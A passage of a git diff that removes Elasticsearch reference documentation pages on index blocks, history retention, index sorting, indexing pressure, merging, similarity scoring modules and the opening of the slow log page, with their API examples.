-Deleting documents from an index to release resources - rather than deleting the index itself - can increase the index size over time. When `index.blocks.read_only_allow_delete` is set to `true`, deleting documents is not permitted. However, deleting the index itself releases the read-only index block and makes resources available almost immediately.
-+
-IMPORTANT: {es} adds and removes the read-only index block automatically when the disk utilization falls below the high watermark, controlled by <<cluster-routing-flood-stage,cluster.routing.allocation.disk.watermark.flood_stage>>.
-
-`index.blocks.read`::
-
-    Set to `true` to disable read operations against the index.
-
-`index.blocks.write`::
-
-    Set to `true` to disable data write operations against the index. Unlike `read_only`,
-    this setting does not affect metadata. For instance, you can close an index with a `write`
-    block, but you cannot close an index with a `read_only` block.
-
-`index.blocks.metadata`::
-
-    Set to `true` to disable index metadata reads and writes.
-
-[discrete]
-[[add-index-block]]
-=== Add index block API
-
-Adds an index block to an index.
-
-[source,console]
---------------------------------------------------
-PUT /my-index-000001/_block/write
---------------------------------------------------
-// TEST[setup:my_index]
-
-
-[discrete]
-[[add-index-block-api-request]]
-==== {api-request-title}
-
-`PUT /<index>/_block/<block>`
-
-
-[discrete]
-[role="child_attributes"]
-[[add-index-block-api-path-params]]
-==== {api-path-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=index]
-+
-To add blocks to all indices, use `_all` or `*`. To disallow the adding
-of blocks to indices with `_all` or wildcard expressions,
-change the `action.destructive_requires_name` cluster setting to `true`.
-You can update this setting in the `elasticsearch.yml` file
-or using the <<cluster-update-settings,cluster update settings>> API.
-`<block>`::
-(Required, string)
-Block type to add to the index.
-+
-.Valid values for `<block>`
-[%collapsible%open]
-====
-`metadata`::
-Disable metadata changes, such as closing the index.
-
-`read`::
-Disable read operations.
-
-`read_only`::
-Disable write operations and metadata changes.
-
-`write`::
-Disable write operations. However, metadata changes are still allowed.
-====
-[discrete]
-[[add-index-block-api-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=allow-no-indices]
-+
-Defaults to `true`.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=expand-wildcards]
-+
-Defaults to `open`.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=index-ignore-unavailable]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=timeoutparms]
-
-[discrete]
-[[add-index-block-api-example]]
-==== {api-examples-title}
-
-The following example shows how to add an index block:
-
-[source,console]
---------------------------------------------------
-PUT /my-index-000001/_block/write
---------------------------------------------------
-// TEST[s/^/PUT my-index-000001\n/]
-
-The API returns following response:
-
-[source,console-result]
---------------------------------------------------
-{
-  "acknowledged" : true,
-  "shards_acknowledged" : true,
-  "indices" : [ {
-    "name" : "my-index-000001",
-    "blocked" : true
-  } ]
-}
---------------------------------------------------
diff --git a/docs/reference/index-modules/history-retention.asciidoc b/docs/reference/index-modules/history-retention.asciidoc
deleted file mode 100644
index eac0abb5a0f..00000000000
--- a/docs/reference/index-modules/history-retention.asciidoc
+++ /dev/null
@@ -1,64 +0,0 @@
-[[index-modules-history-retention]]
-== History retention
-
-{es} sometimes needs to replay some of the operations that were performed on a
-shard. For instance, if a replica is briefly offline then it may be much more
-efficient to replay the few operations it missed while it was offline than to
-rebuild it from scratch. Similarly, {ccr} works by performing operations on the
-leader cluster and then replaying those operations on the follower cluster.
-
-At the Lucene level there are really only two write operations that {es}
-performs on an index: a new document may be indexed, or an existing document may
-be deleted. Updates are implemented by atomically deleting the old document and
-then indexing the new document. A document indexed into Lucene already contains
-all the information needed to replay that indexing operation, but this is not
-true of document deletions. To solve this, {es} uses a feature called _soft
-deletes_ to preserve recent deletions in the Lucene index so that they can be
-replayed.
-
-{es} only preserves certain recently-deleted documents in the index because a
-soft-deleted document still takes up some space. Eventually {es} will fully
-discard these soft-deleted documents to free up that space so that the index
-does not grow larger and larger over time. Fortunately {es} does not need to be
-able to replay every operation that has ever been performed on a shard, because
-it is always possible to make a full copy of a shard on a remote node. However,
-copying the whole shard may take much longer than replaying a few missing
-operations, so {es} tries to retain all of the operations it expects to need to
-replay in future.
-
-{es} keeps track of the operations it expects to need to replay in future using
-a mechanism called _shard history retention leases_. Each shard copy that might
-need operations to be replayed must first create a shard history retention lease
-for itself. For example, this shard copy might be a replica of a shard or it
-might be a shard of a follower index when using {ccr}. Each retention lease
-keeps track of the sequence number of the first operation that the corresponding
-shard copy has not received. As the shard copy receives new operations, it
-increases the sequence number contained in its retention lease to indicate that
-it will not need to replay those operations in future. {es} discards
-soft-deleted operations once they are not being held by any retention lease.
-
-If a shard copy fails then it stops updating its shard history retention lease,
-which means that {es} will preserve all new operations so they can be replayed
-when the failed shard copy recovers. However, retention leases only last for a
-limited amount of time. If the shard copy does not recover quickly enough then
-its retention lease may expire. This protects {es} from retaining history
-forever if a shard copy fails permanently, because once a retention lease has
-expired {es} can start to discard history again. If a shard copy recovers after
-its retention lease has expired then {es} will fall back to copying the whole
-index since it can no longer simply replay the missing history. The expiry time
-of a retention lease defaults to `12h` which should be long enough for most
-reasonable recovery scenarios.
-
-Soft deletes are enabled by default on indices created in recent versions, but
-they can be explicitly enabled or disabled at index creation time. If soft
-deletes are disabled then peer recoveries can still sometimes take place by
-copying just the missing operations from the translog
-<<index-modules-translog-retention,as long as those operations are retained
-there>>. {ccr-cap} will not function if soft deletes are disabled.
-
-[discrete]
-=== History retention settings
-
-include::{es-ref-dir}/index-modules.asciidoc[tag=ccr-index-soft-deletes-tag]
-
-include::{es-ref-dir}/index-modules.asciidoc[tag=ccr-index-soft-deletes-retention-tag]
diff --git a/docs/reference/index-modules/index-sorting.asciidoc b/docs/reference/index-modules/index-sorting.asciidoc
deleted file mode 100644
index e32684c8264..00000000000
--- a/docs/reference/index-modules/index-sorting.asciidoc
+++ /dev/null
@@ -1,214 +0,0 @@
-[[index-modules-index-sorting]]
-== Index Sorting
-
-When creating a new index in Elasticsearch it is possible to configure how the Segments
-inside each Shard will be sorted. By default Lucene does not apply any sort.
-The `index.sort.*` settings define which fields should be used to sort the documents inside each Segment.
-
-[WARNING]
-nested fields are not compatible with index sorting because they rely on the assumption
-that nested documents are stored in contiguous doc ids, which can be broken by index sorting.
-An error will be thrown if index sorting is activated on an index that contains nested fields.
-
-For instance the following example shows how to define a sort on a single field:
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001
-{
-  "settings": {
-    "index": {
-      "sort.field": "date", <1>
-      "sort.order": "desc"  <2>
-    }
-  },
-  "mappings": {
-    "properties": {
-      "date": {
-        "type": "date"
-      }
-    }
-  }
-}
---------------------------------------------------
-
-<1> This index is sorted by the `date` field
-<2> ... in descending order.
-
-It is also possible to sort the index by more than one field:
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001
-{
-  "settings": {
-    "index": {
-      "sort.field": [ "username", "date" ], <1>
-      "sort.order": [ "asc", "desc" ]       <2>
-    }
-  },
-  "mappings": {
-    "properties": {
-      "username": {
-        "type": "keyword",
-        "doc_values": true
-      },
-      "date": {
-        "type": "date"
-      }
-    }
-  }
-}
---------------------------------------------------
-
-<1> This index is sorted by `username` first then by `date`
-<2> ... in ascending order for the `username` field and in descending order for the `date` field.
-
-
-Index sorting supports the following settings:
-
-`index.sort.field`::
-
-    The list of fields used to sort the index.
-    Only `boolean`, `numeric`, `date` and `keyword` fields with `doc_values` are allowed here.
-
-`index.sort.order`::
-
-    The sort order to use for each field.
-    The order option can have the following values:
-        * `asc`:  For ascending order
-        * `desc`: For descending order.
-
-`index.sort.mode`::
-
-    Elasticsearch supports sorting by multi-valued fields.
-    The mode option controls what value is picked to sort the document.
-    The mode option can have the following values:
-        * `min`: 	Pick the lowest value.
-        * `max`: 	Pick the highest value.
-
-`index.sort.missing`::
-
-    The missing parameter specifies how docs which are missing the field should be treated.
-     The missing value can have the following values:
-        * `_last`: Documents without value for the field are sorted last.
-        * `_first`: Documents without value for the field are sorted first.
-
-[WARNING]
-Index sorting can be defined only once at index creation. It is not allowed to add or update
-a sort on an existing index. Index sorting also has a cost in terms of indexing throughput since
-documents must be sorted at flush and merge time. You should test the impact on your application
-before activating this feature.
-
-[discrete]
-[[early-terminate]]
-=== Early termination of search request
-
-By default in Elasticsearch a search request must visit every document that match a query to
-retrieve the top documents sorted by a specified sort.
-Though when the index sort and the search sort are the same it is possible to limit
-the number of documents that should be visited per segment to retrieve the N top ranked documents globally.
-For example, let's say we have an index that contains events sorted by a timestamp field:
-
-[source,console]
---------------------------------------------------
-PUT events
-{
-  "settings": {
-    "index": {
-      "sort.field": "timestamp",
-      "sort.order": "desc" <1>
-    }
-  },
-  "mappings": {
-    "properties": {
-      "timestamp": {
-        "type": "date"
-      }
-    }
-  }
-}
---------------------------------------------------
-
-<1> This index is sorted by timestamp in descending order (most recent first)
-
-You can search for the last 10 events with:
-
-[source,console]
---------------------------------------------------
-GET /events/_search
-{
-  "size": 10,
-  "sort": [
-    { "timestamp": "desc" }
-  ]
-}
---------------------------------------------------
-// TEST[continued]
-
-Elasticsearch will detect that the top docs of each segment are already sorted in the index
-and will only compare the first N documents per segment.
-The rest of the documents matching the query are collected to count the total number of results
-and to build aggregations.
-
-If you're only looking for the last 10 events and have no interest in
-the total number of documents that match the query you can set `track_total_hits`
-to false:
-
-[source,console]
---------------------------------------------------
-GET /events/_search
-{
-  "size": 10,
-  "sort": [ <1>
-      { "timestamp": "desc" }
-  ],
-  "track_total_hits": false
-}
---------------------------------------------------
-// TEST[continued]
-
-<1> The index sort will be used to rank the top documents and each segment will early terminate the collection after the first 10 matches.
-
-This time, Elasticsearch will not try to count the number of documents and will be able to terminate the query
-as soon as N documents have been collected per segment.
-
-[source,console-result]
---------------------------------------------------
-{
-  "_shards": ...
-   "hits" : {  <1>
-      "max_score" : null,
-      "hits" : []
-  },
-  "took": 20,
-  "timed_out": false
-}
---------------------------------------------------
-// TESTRESPONSE[s/"_shards": \.\.\./"_shards": "$body._shards",/]
-// TESTRESPONSE[s/"took": 20,/"took": "$body.took",/]
-
-<1> The total number of hits matching the query is unknown because of early termination.
-
-NOTE: Aggregations will collect all documents that match the query regardless
-of the value of `track_total_hits`
-
-[[index-modules-index-sorting-conjunctions]]
-=== Use index sorting to speed up conjunctions
-
-Index sorting can be useful in order to organize Lucene doc ids (not to be
-conflated with `_id`) in a way that makes conjunctions (a AND b AND ...) more
-efficient. In order to be efficient, conjunctions rely on the fact that if any
-clause does not match, then the entire conjunction does not match. By using
-index sorting, we can put documents that do not match together, which will
-help skip efficiently over large ranges of doc IDs that do not match the
-conjunction.
-
-This trick only works with low-cardinality fields. A rule of thumb is that
-you should sort first on fields that both have a low cardinality and are
-frequently used for filtering. The sort order (`asc` or `desc`) does not
-matter as we only care about putting values that would match the same clauses
-close to each other.
-
-For instance if you were indexing cars for sale, it might be interesting to
-sort by fuel type, body type, make, year of registration and finally mileage.
diff --git a/docs/reference/index-modules/indexing-pressure.asciidoc b/docs/reference/index-modules/indexing-pressure.asciidoc
deleted file mode 100644
index a91cfc04c21..00000000000
--- a/docs/reference/index-modules/indexing-pressure.asciidoc
+++ /dev/null
@@ -1,73 +0,0 @@
-[[index-modules-indexing-pressure]]
-== Indexing pressure
-
-Indexing documents into {es} introduces system load in the form of memory and
-CPU load. Each indexing operation includes coordinating, primary, and replica
-stages. These stages can be performed across multiple nodes in a cluster.
-
-Indexing pressure can build up through external operations, such as indexing
-requests, or internal mechanisms, such as recoveries and {ccr}. If too much
-indexing work is introduced into the system, the cluster can become saturated.
-This can adversely impact other operations, such as search, cluster
-coordination, and background processing.
-
-To prevent these issues, {es} internally monitors indexing load. When the load
-exceeds certain limits, new indexing work is rejected
-
-[discrete]
-[[indexing-stages]]
-=== Indexing stages
-
-External indexing operations go through three stages: coordinating, primary, and
-replica. See <<basic-write-model>>.
-
-[discrete]
-[[memory-limits]]
-=== Memory limits
-
-The `indexing_pressure.memory.limit` node setting restricts the number of bytes
-available for outstanding indexing requests. This setting defaults to 10% of
-the heap.
-
-At the beginning of each indexing stage, {es} accounts for the
-bytes consumed by an indexing request. This accounting is only released at the
-end of the indexing stage. This means that upstream stages will account for the
-request overheard until all downstream stages are complete. For example, the
-coordinating request will remain accounted for until primary and replica
-stages are complete. The primary request will remain accounted for until each
-in-sync replica has responded to enable replica retries if necessary.
-
-A node will start rejecting new indexing work at the coordinating or primary
-stage when the number of outstanding coordinating, primary, and replica indexing
-bytes exceeds the configured limit.
-
-A node will start rejecting new indexing work at the replica stage when the
-number of outstanding replica indexing bytes exceeds 1.5x the configured limit.
-This design means that as indexing pressure builds on nodes, they will naturally
-stop accepting coordinating and primary work in favor of outstanding replica
-work.
-
-The `indexing_pressure.memory.limit` setting's 10% default limit is generously
-sized. You should only change it after careful consideration. Only indexing
-requests contribute to this limit. This means there is additional indexing
-overhead (buffers, listeners, etc) which also require heap space. Other
-components of {es} also require memory. Setting this limit too high can deny
-operating memory to other operations and components.
-
-[discrete]
-[[indexing-pressure-monitoring]]
-=== Monitoring
-
-You can use the
-<<cluster-nodes-stats-api-response-body-indexing-pressure,node stats API>> to
-retrieve indexing pressure metrics.
-
-[discrete]
-[[indexing-pressure-settings]]
-=== Indexing pressure settings
-
-`indexing_pressure.memory.limit` {ess-icon}::
-  Number of outstanding bytes that may be consumed by indexing requests. When
-  this limit is reached or exceeded, the node will reject new coordinating and
-  primary operations. When replica operations consume 1.5x this limit, the node
-  will reject new replica operations. Defaults to 10% of the heap.
diff --git a/docs/reference/index-modules/mapper.asciidoc b/docs/reference/index-modules/mapper.asciidoc
deleted file mode 100644
index 484aec18466..00000000000
--- a/docs/reference/index-modules/mapper.asciidoc
+++ /dev/null
@@ -1,8 +0,0 @@
-[[index-modules-mapper]]
-== Mapper
-
-The mapper module acts as a registry for the type mapping definitions
-added to an index either when creating it or by using the put mapping
-api. It also handles the dynamic mapping support for types that have no
-explicit mappings pre defined. For more information about mapping
-definitions, check out the <<mapping,mapping section>>.
diff --git a/docs/reference/index-modules/merge.asciidoc b/docs/reference/index-modules/merge.asciidoc
deleted file mode 100644
index 3a262b0678e..00000000000
--- a/docs/reference/index-modules/merge.asciidoc
+++ /dev/null
@@ -1,31 +0,0 @@
-[[index-modules-merge]]
-== Merge
-
-A shard in Elasticsearch is a Lucene index, and a Lucene index is broken down
-into segments. Segments are internal storage elements in the index where the
-index data is stored, and are immutable. Smaller segments are periodically
-merged into larger segments to keep the index size at bay and to expunge
-deletes.
-
-The merge process uses auto-throttling to balance the use of hardware
-resources between merging and other activities like search.
-
-[discrete]
-[[merge-scheduling]]
-=== Merge scheduling
-
-The merge scheduler (ConcurrentMergeScheduler) controls the execution of merge
-operations when they are needed.  Merges run in separate threads, and when the
-maximum number of threads is reached, further merges will wait until a merge
-thread becomes available.
-
-The merge scheduler supports the following _dynamic_ setting:
-
-`index.merge.scheduler.max_thread_count`::
-
-    The maximum number of threads on a single shard that may be merging at once.
-	Defaults to
-    `Math.max(1, Math.min(4, <<node.processors, node.processors>> / 2))` which
-    works well for a good solid-state-disk (SSD).  If your index is on spinning
-    platter drives instead, decrease this to 1.
-
diff --git a/docs/reference/index-modules/similarity.asciidoc b/docs/reference/index-modules/similarity.asciidoc
deleted file mode 100644
index 98569d8e7fc..00000000000
--- a/docs/reference/index-modules/similarity.asciidoc
+++ /dev/null
@@ -1,558 +0,0 @@
-[[index-modules-similarity]]
-== Similarity module
-
-A similarity (scoring / ranking model) defines how matching documents
-are scored. Similarity is per field, meaning that via the mapping one
-can define a different similarity per field.
-
-Configuring a custom similarity is considered an expert feature and the
-builtin similarities are most likely sufficient as is described in
-<<similarity>>.
-
-[discrete]
-[[configuration]]
-=== Configuring a similarity
-
-Most existing or custom Similarities have configuration options which
-can be configured via the index settings as shown below. The index
-options can be provided when creating an index or updating index
-settings.
-
-[source,console]
---------------------------------------------------
-PUT /index
-{
-  "settings": {
-    "index": {
-      "similarity": {
-        "my_similarity": {
-          "type": "DFR",
-          "basic_model": "g",
-          "after_effect": "l",
-          "normalization": "h2",
-          "normalization.h2.c": "3.0"
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-Here we configure the DFR similarity so it can be referenced as
-`my_similarity` in mappings as is illustrate in the below example:
-
-[source,console]
---------------------------------------------------
-PUT /index/_mapping
-{
-  "properties" : {
-    "title" : { "type" : "text", "similarity" : "my_similarity" }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-[discrete]
-=== Available similarities
-
-[discrete]
-[[bm25]]
-==== BM25 similarity (*default*)
-
-TF/IDF based similarity that has built-in tf normalization and
-is supposed to work better for short fields (like names). See
-{wikipedia}/Okapi_BM25[Okapi_BM25] for more details.
-This similarity has the following options:
-
-[horizontal]
-`k1`::
-    Controls non-linear term frequency normalization
-    (saturation). The default value is `1.2`.
-
-`b`::
-    Controls to what degree document length normalizes tf values.
-    The default value is `0.75`.
-
-`discount_overlaps`::
-    Determines whether overlap tokens (Tokens with
-    0 position increment) are ignored when computing norm. By default this
-    is true, meaning overlap tokens do not count when computing norms.
-
-Type name: `BM25`
-
-[discrete]
-[[dfr]]
-==== DFR similarity
-
-Similarity that implements the
-{lucene-core-javadoc}/org/apache/lucene/search/similarities/DFRSimilarity.html[divergence
-from randomness] framework. This similarity has the following options:
-
-[horizontal]
-`basic_model`::
-    Possible values: {lucene-core-javadoc}/org/apache/lucene/search/similarities/BasicModelG.html[`g`],
-    {lucene-core-javadoc}/org/apache/lucene/search/similarities/BasicModelIF.html[`if`],
-    {lucene-core-javadoc}/org/apache/lucene/search/similarities/BasicModelIn.html[`in`] and
-    {lucene-core-javadoc}/org/apache/lucene/search/similarities/BasicModelIne.html[`ine`].
-
-`after_effect`::
-    Possible values: {lucene-core-javadoc}/org/apache/lucene/search/similarities/AfterEffectB.html[`b`] and
-    {lucene-core-javadoc}/org/apache/lucene/search/similarities/AfterEffectL.html[`l`].
-
-`normalization`::
-    Possible values: {lucene-core-javadoc}/org/apache/lucene/search/similarities/Normalization.NoNormalization.html[`no`],
-    {lucene-core-javadoc}/org/apache/lucene/search/similarities/NormalizationH1.html[`h1`],
-    {lucene-core-javadoc}/org/apache/lucene/search/similarities/NormalizationH2.html[`h2`],
-    {lucene-core-javadoc}/org/apache/lucene/search/similarities/NormalizationH3.html[`h3`] and
-    {lucene-core-javadoc}/org/apache/lucene/search/similarities/NormalizationZ.html[`z`].
-
-All options but the first option need a normalization value.
-
-Type name: `DFR`
-
-[discrete]
-[[dfi]]
-==== DFI similarity
-
-Similarity that implements the https://trec.nist.gov/pubs/trec21/papers/irra.web.nb.pdf[divergence from independence] 
-model.
-This similarity has the following options:
-
-[horizontal]
-`independence_measure`:: Possible values
-    {lucene-core-javadoc}/org/apache/lucene/search/similarities/IndependenceStandardized.html[`standardized`],
-    {lucene-core-javadoc}/org/apache/lucene/search/similarities/IndependenceSaturated.html[`saturated`],
-    {lucene-core-javadoc}/org/apache/lucene/search/similarities/IndependenceChiSquared.html[`chisquared`].
-
-When using this similarity, it is highly recommended *not* to remove stop words to get
-good relevance. Also beware that terms whose frequency is less than the expected
-frequency will get a score equal to 0.
-
-Type name: `DFI`
-
-[discrete]
-[[ib]]
-==== IB similarity.
-
-{lucene-core-javadoc}/org/apache/lucene/search/similarities/IBSimilarity.html[Information
-based model] . The algorithm is based on the concept that the information content in any symbolic 'distribution'
-sequence is primarily determined by the repetitive usage of its basic elements.
-For written texts this challenge would correspond to comparing the writing styles of different authors.
-This similarity has the following options:
-
-[horizontal]
-`distribution`::  Possible values:
-    {lucene-core-javadoc}/org/apache/lucene/search/similarities/DistributionLL.html[`ll`] and
-    {lucene-core-javadoc}/org/apache/lucene/search/similarities/DistributionSPL.html[`spl`].
-`lambda`::        Possible values:
-    {lucene-core-javadoc}/org/apache/lucene/search/similarities/LambdaDF.html[`df`] and
-    {lucene-core-javadoc}/org/apache/lucene/search/similarities/LambdaTTF.html[`ttf`].
-`normalization`:: Same as in `DFR` similarity.
-
-Type name: `IB`
-
-[discrete]
-[[lm_dirichlet]]
-==== LM Dirichlet similarity.
-
-{lucene-core-javadoc}/org/apache/lucene/search/similarities/LMDirichletSimilarity.html[LM
-Dirichlet similarity] . This similarity has the following options:
-
-[horizontal]
-`mu`::  Default to `2000`.
-
-The scoring formula in the paper assigns negative scores to terms that have
-fewer occurrences than predicted by the language model, which is illegal to
-Lucene, so such terms get a score of 0.
-
-Type name: `LMDirichlet`
-
-[discrete]
-[[lm_jelinek_mercer]]
-==== LM Jelinek Mercer similarity.
-
-{lucene-core-javadoc}/org/apache/lucene/search/similarities/LMJelinekMercerSimilarity.html[LM
-Jelinek Mercer similarity] . The algorithm attempts to capture important patterns in the text, while leaving out noise. This similarity has the following options:
-
-[horizontal]
-`lambda`::  The optimal value depends on both the collection and the query. The optimal value is around `0.1`
-for title queries and `0.7` for long queries. Default to `0.1`. When value approaches `0`, documents that match more query terms will be ranked higher than those that match fewer terms.
-
-Type name: `LMJelinekMercer`
-
-[discrete]
-[[scripted_similarity]]
-==== Scripted similarity
-
-A similarity that allows you to use a script in order to specify how scores
-should be computed. For instance, the below example shows how to reimplement
-TF-IDF:
-
-[source,console]
---------------------------------------------------
-PUT /index
-{
-  "settings": {
-    "number_of_shards": 1, 
-    "similarity": {
-      "scripted_tfidf": {
-        "type": "scripted",
-        "script": {
-          "source": "double tf = Math.sqrt(doc.freq); double idf = Math.log((field.docCount+1.0)/(term.docFreq+1.0)) + 1.0; double norm = 1/Math.sqrt(doc.length); return query.boost * tf * idf * norm;"
-        }
-      }
-    }
-  },
-  "mappings": {
-    "properties": {
-      "field": {
-        "type": "text",
-        "similarity": "scripted_tfidf"
-      }
-    }
-  }
-}
-
-PUT /index/_doc/1
-{
-  "field": "foo bar foo"
-}
-
-PUT /index/_doc/2
-{
-  "field": "bar baz"
-}
-
-POST /index/_refresh
-
-GET /index/_search?explain=true
-{
-  "query": {
-    "query_string": {
-      "query": "foo^1.7",
-      "default_field": "field"
-    }
-  }
-}
---------------------------------------------------
-
-Which yields:
-
-[source,console-result]
---------------------------------------------------
-{
-  "took": 12,
-  "timed_out": false,
-  "_shards": {
-    "total": 1,
-    "successful": 1,
-    "skipped": 0,
-    "failed": 0
-  },
-  "hits": {
-    "total": {
-        "value": 1,
-        "relation": "eq"
-    },
-    "max_score": 1.9508477,
-    "hits": [
-      {
-        "_shard": "[index][0]",
-        "_node": "OzrdjxNtQGaqs4DmioFw9A",
-        "_index": "index",
-        "_type": "_doc",
-        "_id": "1",
-        "_score": 1.9508477,
-        "_source": {
-          "field": "foo bar foo"
-        },
-        "_explanation": {
-          "value": 1.9508477,
-          "description": "weight(field:foo in 0) [PerFieldSimilarity], result of:",
-          "details": [
-            {
-              "value": 1.9508477,
-              "description": "score from ScriptedSimilarity(weightScript=[null], script=[Script{type=inline, lang='painless', idOrCode='double tf = Math.sqrt(doc.freq); double idf = Math.log((field.docCount+1.0)/(term.docFreq+1.0)) + 1.0; double norm = 1/Math.sqrt(doc.length); return query.boost * tf * idf * norm;', options={}, params={}}]) computed from:",
-              "details": [
-                {
-                  "value": 1.0,
-                  "description": "weight",
-                  "details": []
-                },
-                {
-                  "value": 1.7,
-                  "description": "query.boost",
-                  "details": []
-                },
-                {
-                  "value": 2,
-                  "description": "field.docCount",
-                  "details": []
-                },
-                {
-                  "value": 4,
-                  "description": "field.sumDocFreq",
-                  "details": []
-                },
-                {
-                  "value": 5,
-                  "description": "field.sumTotalTermFreq",
-                  "details": []
-                },
-                {
-                  "value": 1,
-                  "description": "term.docFreq",
-                  "details": []
-                },
-                {
-                  "value": 2,
-                  "description": "term.totalTermFreq",
-                  "details": []
-                },
-                {
-                  "value": 2.0,
-                  "description": "doc.freq",
-                  "details": []
-                },
-                {
-                  "value": 3,
-                  "description": "doc.length",
-                  "details": []
-                }
-              ]
-            }
-          ]
-        }
-      }
-    ]
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"took": 12/"took" : $body.took/]
-// TESTRESPONSE[s/OzrdjxNtQGaqs4DmioFw9A/$body.hits.hits.0._node/]
-
-WARNING: While scripted similarities provide a lot of flexibility, there is
-a set of rules that they need to satisfy. Failing to do so could make
-Elasticsearch silently return wrong top hits or fail with internal errors at
-search time:
-
- - Returned scores must be positive.
- - All other variables remaining equal, scores must not decrease when
-   `doc.freq` increases.
- - All other variables remaining equal, scores must not increase when
-   `doc.length` increases.
-
-You might have noticed that a significant part of the above script depends on
-statistics that are the same for every document. It is possible to make the
-above slightly more efficient by providing an `weight_script` which will
-compute the document-independent part of the score and will be available
-under the `weight` variable. When no `weight_script` is provided, `weight`
-is equal to `1`. The `weight_script` has access to the same variables as
-the `script` except `doc` since it is supposed to compute a
-document-independent contribution to the score.
-
-The below configuration will give the same tf-idf scores but is slightly
-more efficient:
-
-[source,console]
---------------------------------------------------
-PUT /index
-{
-  "settings": {
-    "number_of_shards": 1, 
-    "similarity": {
-      "scripted_tfidf": {
-        "type": "scripted",
-        "weight_script": {
-          "source": "double idf = Math.log((field.docCount+1.0)/(term.docFreq+1.0)) + 1.0; return query.boost * idf;"
-        },
-        "script": {
-          "source": "double tf = Math.sqrt(doc.freq); double norm = 1/Math.sqrt(doc.length); return weight * tf * norm;"
-        }
-      }
-    }
-  },
-  "mappings": {
-    "properties": {
-      "field": {
-        "type": "text",
-        "similarity": "scripted_tfidf"
-      }
-    }
-  }
-}
---------------------------------------------------
-
-////////////////////
-
-[source,console]
---------------------------------------------------
-PUT /index/_doc/1
-{
-  "field": "foo bar foo"
-}
-
-PUT /index/_doc/2
-{
-  "field": "bar baz"
-}
-
-POST /index/_refresh
-
-GET /index/_search?explain=true
-{
-  "query": {
-    "query_string": {
-      "query": "foo^1.7",
-      "default_field": "field"
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-[source,console-result]
---------------------------------------------------
-{
-  "took": 1,
-  "timed_out": false,
-  "_shards": {
-    "total": 1,
-    "successful": 1,
-    "skipped": 0,
-    "failed": 0
-  },
-  "hits": {
-    "total": {
-        "value": 1,
-        "relation": "eq"
-    },
-    "max_score": 1.9508477,
-    "hits": [
-      {
-        "_shard": "[index][0]",
-        "_node": "OzrdjxNtQGaqs4DmioFw9A",
-        "_index": "index",
-        "_type": "_doc",
-        "_id": "1",
-        "_score": 1.9508477,
-        "_source": {
-          "field": "foo bar foo"
-        },
-        "_explanation": {
-          "value": 1.9508477,
-          "description": "weight(field:foo in 0) [PerFieldSimilarity], result of:",
-          "details": [
-            {
-              "value": 1.9508477,
-              "description": "score from ScriptedSimilarity(weightScript=[Script{type=inline, lang='painless', idOrCode='double idf = Math.log((field.docCount+1.0)/(term.docFreq+1.0)) + 1.0; return query.boost * idf;', options={}, params={}}], script=[Script{type=inline, lang='painless', idOrCode='double tf = Math.sqrt(doc.freq); double norm = 1/Math.sqrt(doc.length); return weight * tf * norm;', options={}, params={}}]) computed from:",
-              "details": [
-                {
-                  "value": 2.3892908,
-                  "description": "weight",
-                  "details": []
-                },
-                {
-                  "value": 1.7,
-                  "description": "query.boost",
-                  "details": []
-                },
-                {
-                  "value": 2,
-                  "description": "field.docCount",
-                  "details": []
-                },
-                {
-                  "value": 4,
-                  "description": "field.sumDocFreq",
-                  "details": []
-                },
-                {
-                  "value": 5,
-                  "description": "field.sumTotalTermFreq",
-                  "details": []
-                },
-                {
-                  "value": 1,
-                  "description": "term.docFreq",
-                  "details": []
-                },
-                {
-                  "value": 2,
-                  "description": "term.totalTermFreq",
-                  "details": []
-                },
-                {
-                  "value": 2.0,
-                  "description": "doc.freq",
-                  "details": []
-                },
-                {
-                  "value": 3,
-                  "description": "doc.length",
-                  "details": []
-                }
-              ]
-            }
-          ]
-        }
-      }
-    ]
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"took": 1/"took" : $body.took/]
-// TESTRESPONSE[s/OzrdjxNtQGaqs4DmioFw9A/$body.hits.hits.0._node/]
-
-////////////////////
-
-Type name: `scripted`
-
-[discrete]
-[[default-base]]
-==== Default Similarity
-
-By default, Elasticsearch will use whatever similarity is configured as
-`default`.
-
-You can change the default similarity for all fields in an index when
-it is <<indices-create-index,created>>:
-
-[source,console]
---------------------------------------------------
-PUT /index
-{
-  "settings": {
-    "index": {
-      "similarity": {
-        "default": {
-          "type": "boolean"
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-If you want to change the default similarity after creating the index
-you must <<indices-open-close,close>> your index, send the following
-request and <<indices-open-close,open>> it again afterwards:
-
-[source,console]
---------------------------------------------------
-POST /index/_close
-
-PUT /index/_settings
-{
-  "index": {
-    "similarity": {
-      "default": {
-        "type": "boolean"
-      }
-    }
-  }
-}
-
-POST /index/_open
---------------------------------------------------
-// TEST[continued]
diff --git a/docs/reference/index-modules/slowlog.asciidoc b/docs/reference/index-modules/slowlog.asciidoc
deleted file mode 100644
index 2bbc80e5e81..00000000000
--- a/docs/reference/index-modules/slowlog.asciidoc
+++ /dev/null
@@ -1,186 +0,0 @@
-[[index-modules-slowlog]]
-== Slow Log
-
-[discrete]
-[[search-slow-log]]
-=== Search Slow Log
-
-Shard level slow search log allows to log slow search (query and fetch
-phases) into a dedicated log file.
-
-Thresholds can be set for both the query phase of the execution, and
-fetch phase, here is a sample:
-
-[source,yaml]
---------------------------------------------------
-index.search.slowlog.threshold.query.warn: 10s
-index.search.slowlog.threshold.query.info: 5s
-index.search.slowlog.threshold.query.debug: 2s
-index.search.slowlog.threshold.query.trace: 500ms
-
-index.search.slowlog.threshold.fetch.warn: 1s
-index.search.slowlog.threshold.fetch.info: 800ms
-index.search.slowlog.threshold.fetch.debug: 500ms
-index.search.slowlog.threshold.fetch.trace: 200ms
-
-index.search.slowlog.level: info
---------------------------------------------------
-
-All of the above settings are _dynamic_ and can be set for each index using the
-<<indices-update-settings, update indices settings>> API. For example: 
-
-[source,console]
---------------------------------------------------
